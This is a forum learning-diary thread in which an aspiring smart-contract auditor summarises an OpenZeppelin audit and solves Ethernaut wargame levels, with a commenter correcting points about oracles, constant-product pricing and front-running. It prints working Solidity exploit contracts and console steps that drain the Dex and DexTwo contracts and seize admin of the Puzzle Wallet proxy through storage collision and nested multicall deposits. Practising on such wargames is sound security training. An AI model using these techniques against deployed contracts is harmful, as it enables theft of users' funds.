My Coding Journey: From Finance to Smart Contract Auditor

Security
,
122

Day 37:

I'm pretty time poor today and the Ethernaut challenges are becoming frustrating so I've decided to read an audit report by OpenZeppelin published this month and crack on with multiple challenges tomorrow.

Background
Taking from the audit report: UniswapV3 is an Automated Market Maker (AMM) that allows users to buy tokens from token-specific pools at automatic prices.

As an aside, an AMM helps to create a system of asset liquidity (typically a token) where anyone can contribute to the pool. Benefits often cited are peer-to-peer exchanges greatly reducing cost as a result of no intermediary and lightening quick transfers. As foreshadowed, the drawback of a liquidity pool created by the AMM is that anyone can contribute to it, meaning if a malicious actor decided to manipulate price (a function of supply and demand within the asset pool) then it would be readily available for the actor to do so.

Uniswap decided to implement a feature that assures counterparties of the liquidity in the market being permanent / remain in the market for a long time to counteract this type of behaviour.

System Overview

  1. The market liquidity position is converted into an NFT using the market's NonfungiblePositionManager; and
  2. this NFT is transferred to the (UNCX_ProofOfReservesV2_UniV3) contract.

The above allows owners to lock their tokens and collect transaction fees from their underlying market position but they are unable to take back ownership of its liquidity position. The practical effect of this is that the owner wouldn't be able to suddenly remove the liquidity from the market until a pre-specified time in the future.

I recommend reading the audit report for a further breakdown of the roles creates to manage the above system.

Key Issues and Takeaways
Missing slippage protection for locking liquidity
This was flagged as a critical issue by OZ. At its core, an exploit was possible because the liquidity between the tickUpper (the upper tick of the position for which to burn liquidity) and tickLower (similar to tickUpper but lower band) decreases while the liquidity in any tick outside that pre-set range increases. What does this mean? Basically, if the attack manipulates the pool such that it locks its liquidity outside the Upper/Lower tick, the liquidity position could be comprised solely of one token (defeating the whole purpose of a swap) and the attacker can make the victim deposiut the full amount of liquidity by transferring a small amount.
The fix to this was basic - put slippage parameters to the relevant lock function.

Anybody Can Remove Tokens Accidentally Sent to the Contract
The adminRefundEth and adminRefundERC20 functions were included to allow owners to withdraw tokens which are accidentally sent to the contract. However, the call to _convertPositionToFullRange (originally included to ensure positions converted to an NFT were a full range position) will send the entire balanceOf both pool tokens to either the new locked liquidity position or refund it to the dustRecipient . Thus, a user who calls lock gets all the tokens that are stuck in the contract credited to themselves by setting the dustRecipient to an address they control. What this practically means is that anybody could withdraw tokens in the contract by calling lock on a non-full-range NFT position where one pool token corresponds to the token which is stuck in the contract.

transfer and send Calls Are No Longer Considered Best Practice
This was an issue raised in previous blog posts and it was cool to see this in an audit report. When transfer or send calls are used to transfer ETH to an address, they forward a limited amount of gas. As explained in a previous post (Days 19 and 20) given the everchanging cost associated with gas prices for EVM operations, code execution on the receiving end of these calls cannot be guaranteed in perpetuity.

Taken directly from OZ:
Instead of using transfer or send, consider using address.call{value: amount}("") or the sendValue function of the OpenZeppelin Address library to transfer ETH.

A series of other issues were mitigated by simply considering the scope of roles, set to govern the pool itself (e.g. Arbitrary Position Managers, Collector Role Is Not Relinquished During Lock Transferral).

Edited: I felt that a few issues I didn't raise were worthwhile including after a second read of the report.

123

Day 38:

I have FINALLY solved the issue raised on Day 36 whereby the Ownable contract was not found. This was never a previous problem when importing OZ contracts so I decided the workaround was to interact with the code via the Ethernaut console.

The respective steps to manipulate the DEX were as follows:

  1. get the contract instance;
  2. enter t1 = await contract.token1() - this would get the address for token 1;
  3. enter t2 = await contract.token2() - again address for token 2;

Pausing for a minute, the reason we are getting these addresses is because we are exploiting the centralised source of the DEX (as mentioned at Day 36, due to the lack of interaction with an oracle). Again to stress the point, Oracles get data into and out of smart contracts and Chainlink data feeds are a far more secure methodology to getting decentralised data into your smart contract. The fact it is decentralised also means that you can have some degree of confidence that if an actor decided to attack the oracle, it will likely not drastically affect the prices being pulled from the source.

  1. now for the most important step - you'll have to conduct multiple swaps between currencies. Given that the price of swaps are governed inside the contract, rounding errors mean you will receive more tokens as you exchange them with the other token.

For example:

  • you put 10 token1s into the swap, with both tokens having 100 tokens each;
  • you receive 10 token2s;
  • once you have received your 10 token2s, 110 token1s and 90 token2s will be in circulation; and
  • you put in 10 token2s and receive 24 token1s. Why? Because the way the math is presented via the getSwapPrice function, reliance is placed on the balance of each token within the contract. The updated balances cause rounding errors when dividing, say token1s balance over the token2s balance.
  1. After you have completely drained token1 of its balances, use: await contract.balanceOf(t1, instance).then(v => v.toString()) to verify that the amount contained in the balance is 0;
  2. submit the instance.

I hope the above was helpful for others encountering a similar error!

124

Did you not read this comment which I gave you with regards to that issue?

125

I did but your solution did not fix the issue within remix IDE. I still appreciate the time you took to suggest a solution

126

You need to make sure that you choose the correct OZ version on Remix.

127

It's not really clear "far more secure" than what, but this is statement is pretty fundamentally wrong in general.

Oracles are by definition a centralized point, as they are used in order to "import" web2-information into a web3-system.

I will not argue about security, because this is really a technical matter which applies regardless of whether or not an oracle is used. But if anything, using an oracle is less secure, because you are adding another layer of potential vulnerabilities. For example, regardless of how flawless and secure your contract is, the external price source itself can be hacked, rendering your entire security useless.

In conjunction with the previous explanation, the lack of interaction with an oracle implies the exact opposite, i.e., it implies that there is NO centralized source here.

Of course, the more general definition of centralization, is a contract function which is restricted only for (can be executed only by) a specific account or accounts.

But the use of an oracle requires that such function is implemented in the contract, hence it necessarily implies a centralization point in the contract (and not that it matters for the discussion at hand, but a centralization point in the contract doesn't necessarily imply the use of an oracle).

128

I would argue in this case, using an oracle is far superior as opposed to calculating a swap's pricing within the smart contract.

With all due respect this isn't the definition of an oracle. You can actually have a decentralised oracle, for example Witnet.

Can you provide a reputable source to back this up or is there an audit or firm out there that mentions oracles add another layer of potential vulnerabilities? Granted, introducing external data to a smart contract could introduce another attack surface for a malicious actor but what is the solution if not oracles?

Fair point and poor wording on my behalf. What I am driving at is there is a single contract attempting to govern multiple sources of information. This is an attempt to centralise data and means the smart contract is highly susceptible to manipulation or malicious actors.

129

I strongly recommend that you thoroughly read everything below, as it addresses some very important financial aspects of the ecosystem.

That's the wrong conclusion, because the reason for the hack is the method of calculating the swap price, and NOT the fact that this method is implemented in the contract (which also implies that your previous analysis of rounding errors leading to the hack, is also generally incorrect).

The calculation method used in the contract is linear.

As such, it does not preserve a very important aspect of AMM pools, known as Constant Product.

This aspect implies exactly what is says - the value of the multiplication (product) of the pool balances must remain the same (constant) at the end of every swap.

For example, suppose an AMM pool consisting of two token contracts AAA and BBB, with the pool's initial balances being 400 AAA tokens and 123 BBB tokens.

In other words:

  • AAA.balanceOf(pool.address) == 400 * 10 ** AAA.decimals()
  • BBB.balanceOf(pool.address) == 123 * 10 ** BBB.decimals()

And suppose that you now want to swap 55 AAA tokens in exchange for n BBB tokens.
In other words, you send to the pool 55 AAA tokens, and the pool sends you back n BBB tokens.
Hence the pool balances after the swap will be (400 + 55) AAA tokens and (123 - n) BBB tokens.

In order to ensure that the pool preserves constant-product, the following condition must hold:

400 * 123 = (400 + 55) * (123 - n)

And after isolating n:

n = (123 * 55) / (400 + 55)

The general constant-product price formula is given by y = (Y * x) / (X + x), where:

  • X is the balance of the pool in the token that you send to it
  • Y is the balance of the pool in the token that it sends you back
  • x is the amount of tokens that you send to the pool
  • y is the amount of tokens that the pool sends you back

Of course, when the contract's price function is called, it should:

  • Retrieve the value of X via tokenX.balanceOf(pool.address)
  • Retrieve the value of Y via tokenY.balanceOf(pool.address)
  • Receive the value of x as input
  • Return the value of y as output

In your example:

function getSwapPrice(address from, address to, uint amount) public view returns (uint) {
  return
    amount * IERC20(to).balanceOf(address(this)) /
    IERC20(from).balanceOf(address(this));
}

The formula reflected in the price function is y = Y * x / X.

Whereas, in a proper constant-product implementation:

function getSwapPrice(address from, address to, uint amount) public view returns (uint) {
  return
    (amount * IERC20(to).balanceOf(address(this))) /
    (amount + IERC20(from).balanceOf(address(this)));
}

The formula reflected in the price function would be y = Y * x / (X + x).

Using that method instead, would generally prevent the hack that you're asked to identify and exploit.
It has nothing to do with the price being calculated in the contract rather than being provided by an oracle.

130

Lastly, in the context of web3, this is not the definition of Centralized:

As I stated previously, a centralization-point within a contract is generally defined as a function in that contract, which can be executed only by a (typically small) set of externally-owned accounts.
For example, an only-owner function, an only-admin function, a multi-sig function, etc.

131

Oh sorry, I have another "lastly" here, but please don't let it discourage you from reading the two previous comments...

I'll start by saying that this claim of yours is actually correct:

I had initially considered only off-chain oracles, which are indeed centralized, because they fetch prices off-chain.

But of course, there is also the option of on-chain oracles, which as you've rightfully pointed out - are decentralized.

An on-chain oracle is essentially just a contract which reads the prices reflected in one or more typically-renowned DEX contracts, and then reflects these prices in some way (for example, it can reflect their average).

Note that it is considered decentralized because it fetches the prices on-chain, NOT because it fetches several prices (as it may well choose to fetch a single price).

But anyway, following that point, your entire logical inference turns out to be fundamentally flawed.

First you claim that the problem stems from rounding errors in the contract's price function.

Then you claim that this problem could be resolved by replacing the contract's "centralized" price calculation with that of a decentralized oracle.

Let's put aside your incorrect usage of the term "centralized" here; I understand that you are attempting to say that the price calculation is based on a single point instead of several different points, which you ascribe to the usage of a decentralized oracle.

However, the only scenario in which a "multi-price" approach can solve a "single-price" problem, is when that single price is arbitraged against other prices.

For example, if your DEX allows swapping ETH for USDC at a price of 8 USDC per 1 ETH, while the price everywhere else in the ecosystem - DEXs and CEXs - is 5 USDC per ETH, then one would want to buy out the entire balance of your DEX's USDC and immediately sell it back to ETH somewhere.

And nowhere in the question does it mention anything about other DEXs or CEXs being available to use as part of a potential exploit in that contract.

Moreover - if you do truly believe that the problem is the rounding errors in the contract's price function, then why do you proceed to ascribe this problem to the fact that this function yields a "centralized" price calculation? And what makes you confident that a similar problem doesn't exist in some other price provider, decentralized or not?

In short, there seems to be a "whole lotta mishmash" in your logical inference here.

As I've mentioned in the 1st out of these last 3 comments, the exploit is not related to rounding errors in the price calculation, but to the actual formula used in that calculation.

And as I've mentioned in this comment, the exploit is most certainly not related to the price calculation being conducted only in this contract, because no one has stated a scenario in which other exchanges allow you to trade at other prices.

132

Agreed that the reason for this particular hack is, as you pointed out, is the method of calculating the swap price. I can now see how my conclusion relating to rounding errors is incorrect provided the method for calculating is explicitly tied to the liquidity pool supply.

Thank you for taking the time to explain and outline Constant Product, this is very helpful going forward.

1 Like
133

I think my confusion here stems from setTokens and addLiquidity being subject to an OnlyOwner modifier, as opposed to the getSwapPrice function. Thanks for pointing this out.

1 Like
134

Fair enough, I've even come across this example before so you are entirely correct to point this error out.

The point I was trying to make is a slight variation of yours. Yes, arbitrage is possible between DEXs / CEXs such that a user can profit from the pricing mismatch between the two. However, arbitrage ensures that the price an oracle displays, for say USDC, takes into consideration a wider variety of sources that govern supply / demand for a token (as opposed to a single formula in a contract). That's not to say it is a flawless methodology but it is better than having a single formula governing price within a contract.

As previously mentioned, I'm not saying the problem doesn't exist with those price providers (to your point ​Curve v2 doesn't use an oracle). However, there is something to be said for a majority of major Defi players (Aave, Compound, Maker) use oracles as a methodology to retrieve price feeds.

1 Like
135

Day 39:

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Code Breakdown
This code is basically the exact same as that outlined on Day 36, except for the swap function. In this case swap has been modified such that it entirely removes the following line from the original code:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

The effect is the new code has no requirement that a token being received or transferred is equivalent to token1 or token2. For example, you could send 10 token1s to receive 10 token2s in the previous contract with a high degree of certainty that token1 or token2 were being exchanged. This is not the case here, the issue is that a user can create a fake coin and request a swap with either token.

Solution
Similar to the previous contract this solution requires a series of straightforward swaps. To enact these swaps create your own basic ERC20 contract like so:


//create a malicious token

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract yeetToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("yeetToken", "YEET") {
        _mint(msg.sender, initialSupply);
    }
}

then follow these steps:

  1. send 100 of the token to the contract address to ensure 1:1:1 ratio;
  2. allow contract to transact 300 of yeet, done via approve method (300 is required because you are draining 100 token1 and 200 token2);
  3. use await contract.swap(yeet, t1, 100) to drain token1;
  4. to check the balance use await contract.balanceOf(t1, instance).then(v => v.toString()). I found that my ratios were off in the first instance so the check was helpful;
  5. drain token2 via await contract.swap(evlToken, t2, 200); and
  6. submit instance!
136

Yes, but my main point is that all of this has nothing to do with the challenge that you've been given, which doesn't mention anything about alternative trading options.

This challenge illustrates an "isolated" ecosystem, where the only exchange-point available to you is a given contract; as such, you should not approach the problem as if there are other DEXs and/or CEXs.

137

Note that all of the above is completely redundant with respect to the exploit-challenge at hand:

  • The approve function in the DexTwo contract is not used anywhere
  • Subsequently, the SwappableTokenTwo contract is not used anywhere
  • The balanceOf function in the DexTwo contract is not used anywhere
138

Well, you are executing two swap transactions here - one in step 3 and one in step 5, which makes your solution itself subjected to an exploit.

So you should by the least bundle this entire solution within a single contract function which you could then execute atomically (i.e., in a single transaction).

But anyways, there is a much more simple and much more gas-efficient solution here, which would allow you to drain the liquidity that the DexTwo contract holds on any given token:

contract Exploit is Ownable {
    DexTwo private _dexTwo;

    constructor(DexTwo dexTwo) {
        _dexTwo = dexTwo;
    }

    function balanceOf(address) external pure returns (uint256) {
        return 1;
    }

    function transferFrom(address, address, uint256) external pure returns (bool) {
        return true;
    }

    function drain(IERC20 to) external onlyOwner {
        _dexTwo.swap(address(this), address(to), 1);
        to.transfer(msg.sender, to.balanceOf(address(this)));
    }
}

Note that this contract already impersonates itself as a "semi-erc20" contract, and there is no need to fully implement a "fake coin" as you've called it.

We know that the DexTwo contract calls only two functions in the token contract deployed at the from address:

  1. balanceOf
  2. transferFrom

So we only need to implement these two functions in our Exploit contract.

The transferFrom function doesn't really need to do anything other than returning true.

And with the balanceOf function returning 1, we ensure that the getSwapAmount function in the DexTwo contract will always return the entire liquidity that this contract holds in the token which we are aiming to drain out.

As you can see:

  • Exploit.drain calls DexTwo.swap with amount = 1
  • DexTwo.swap calls DexTwo.getSwapAmount with the same amount
  • DexTwo.getSwapAmount returns amount * to.balanceOf(this) / from.balanceOf(this)

And since we pass amount = 1 AND our from.balanceOf function returns 1, the above yields:

1 * to.balanceOf(this) / 1

Which is the entire liquidity that the DexTwo contract holds in the token which we are aiming to drain this contract out of).

1 Like
139

Thanks for taking the time to explain that - as I was writing the "fake coin" I did think it was taking a bit of effort. Out of curiosity, I also assume that the potential exploit you are referring to for my two transactions is frontrunning?

I like your contract because it takes it in one large transaction, I might test it out on the a new instance of the level and see how I go!

1 Like
140

Exactly right!

Someone following your flow of execution, and "slipping" a transaction in between your two transactions, which are executed from an off-chain script, thus not atomically.

Bundling that script inside a contract function would allow you to execute the whole thing atomically.

A front-runner could still interrupt it, but only to the point of causing your attempt to end up with no profit, which is still generally better than having that attempt end up with a loss.

1 Like
141

Day 40:

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

Code Breakdown
Puzzle Proxy contract
• pragma experimental ABIEncoderV2 is something new I learnt today. We've been used to seeing version pragma whereby Solidity instructs the compiler to ensure that the code complies only for the given version or version range of the Solidity. The ABI Coder Pragma lets you choose between the v1 and v2 implementation of the ABI encoder and decoder. The v2 ABI coder supports nested array and struct types that were not available in v1. Experimental Pragma does exactly what it says, enables experimental features of Solidity that are not enabled by default.
• Import of an upgradable proxy (see also is UpgradeableProxy) - this allows the contract to evolve over time while preserving their historical data and relationships with other contracts. So in the context of UpgradeableProxy this is a design pattern to separate the implementation logic of a smart contract from its data storage.
• In the constructor, it creates addresses for: the admin, implementation and stores intilisation data into the memory of PuzzleProxy. UpgradeableProxy in this context allows for an update of the implementation and data;
• onlyAdmin sets a requirement that the msg.sender is the admin, otherwise the revert message is displayed;
• proposeNewAdmin does as it says;
• approveNewAdmin takes the address of a pending admin from the proposeNewAdmin and makes them a new admin; and
• upgradeTo takes the address of the newImplementation which is only callable by the admin.

Puzzle Wallet
• Addresses are checked for their 1) whitelisted status and, 2) their balances;
• init takes a maxBalance and requires that it is equal to 0, otherwise the function has already been initialised;
• onlyWhitelisted is a requirement that the msg.sender is contained in the whitelisted array;
• setMaxBalance ensures that only whitelisted users can call this. Their balance must be equal to 0 and after this they will be able to set their balance;
• addToWhiteList ensures that the contract owner can add users to a whitelist;
• deposit only whitelisted users can call this function and requires that the users' address is less than the maximum balance. The balances can be updated by the msg.sender;
• execute whitelisted users can draw funds from their balance and send to others; and
• multicall takes an array of bytes from calldata data, as called by whitelisted users. It is worth noting that calldata is the data passed along with a transaction that allows us to send messages to other entities or interact with smart contracts. There is a check to see whether the deposit function has been called

Problem
We are required to become the admin of the proxy. To avoid confusion - the admin has the power of updating the logic of the smart contract and the owner controls the whitelist of addresses allowed to use the contract.

Solution
We can't obviously call approveNewAdmin provided we are not an admin so this wouldn't be a viable solution.

So we should look to whether the state variables in the proxy contract and the implementation contract are declared in the same order:
Puzzle contract has pendingAdmin (1st state variable) and admin (2nd state variable) vs puzzleWallet that has owner (1st) and maxBalance (2nd). If we can update the maxBalance, we can override the admin state variable. So how do we override the maxBalance state variable? We use the setMaxBalance which required us to be 1) whitelisted and 2) the contract to have a balance of 0.

Whitelisting

  1. Call addToWhiteList but noting that this requires us to become the owner (which is misaligned to the pendingAdmin state variable), so if we can update that then we can become the owner.
  2. Call proposeNewAdmin and set the pendingAdmin to our deployed contract. Inside the implementation contract, the owner state variable will be updated.
  3. Once you have become the owner, you will now be capable of calling the addToWhitelist function. Remember, that once we call this function, we receive the whitelisted status and satisfy the first condition of the MaxBalance function.

Get Balance to 0
Now we are the owner, and whitelisted, we are looking to call the maxBalance function.

To do this, we need to:

  1. withdraw all the ETH contained in the contract (you can check this by copying the address of the contract and going to Etherscan - the amount contained in the contract will be .001 ETH). The execute function is the only function that is sending ETH out of the contract so our focus should be here. The 2 conditions are: 1) to be whitelisted (which we are) and, 2) the balance of msg.sender must be > than the value we are withdrawing from the contract;
  2. To increase the balance, we need call the deposit function to send ETH, this will update the balance and to withdraw we call execute. If we deposit 0.001 ETH then the max amount of ETH we can withdraw is 0.001 ETH (but this still leaves the initial 0.001 contained in the contract);
  3. Call multicall to deposit half the amount of ETH but withdraw the entire amount from the contract. Cutting a very technical explanation short - we call multicall (from proxy to implementation) to update the balance via despoit but we are chaining the delegatecall function, so the restriction that deposit can only be called once is reset and we are able to call multicall again to deposit. The end result will be that the contract contains 0.002 ETH;
  4. Call the execute function for 0.002 ETH to drain the contract entirely of its funds; and
  5. Then we can call the function setMaxBalance (updating the admin state variable).

I can appreciate this might be really unclear so I've posted code below with comments to assist with the understanding.

//SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

//ensuring the functions are callabele via the rekt contract
interface IWallet {
    function admin() external view returns (address);
    function proposeNewAdmin(address _newAdmin) external;
    function addToWhitelist(address addr) external;
    function deposit() external payable;
    function multicall(bytes[] calldata data) external payable;
    function execute(address to, uint256 value, bytes calldata data) external payable;
    function setMaxBalance(uint256 _maxBalance) external;
}

contract Rekt {
    constructor(IWallet wallet) payable {
        // whitelisting process 
        wallet.proposeNewAdmin(address(this));
        wallet.addToWhitelist(address(this));

        // draining the contract
        bytes[] memory deposit_data = new bytes[](1);
        deposit_data[0] = abi.encodeWithSelector(wallet.deposit.selector);

        bytes[] memory data = new bytes[](2);
        // initial call to deposit
        data[0] = deposit_data[0];
        // using multicall to call deposit a second time
        data[1] = abi.encodeWithSelector(wallet.multicall.selector, deposit_data);
        wallet.multicall{value: 0.001 ether}(data);

        // withdraw all funds that have been put into contract, noting that the balance of the contract is 0.002ETH
        wallet.execute(msg.sender, 0.002 ether, "");

        // given conditions of whitelisting and 0 balance are met, we can become admin
        wallet.setMaxBalance(uint256(uint160(msg.sender)));

        // checks to ensure the above have been successful 
        require(wallet.admin() == msg.sender, "no one has been rekt");
        selfdestruct(payable(msg.sender));
    }
}

Edited: As promised, to finish explanation of the solution + add final code.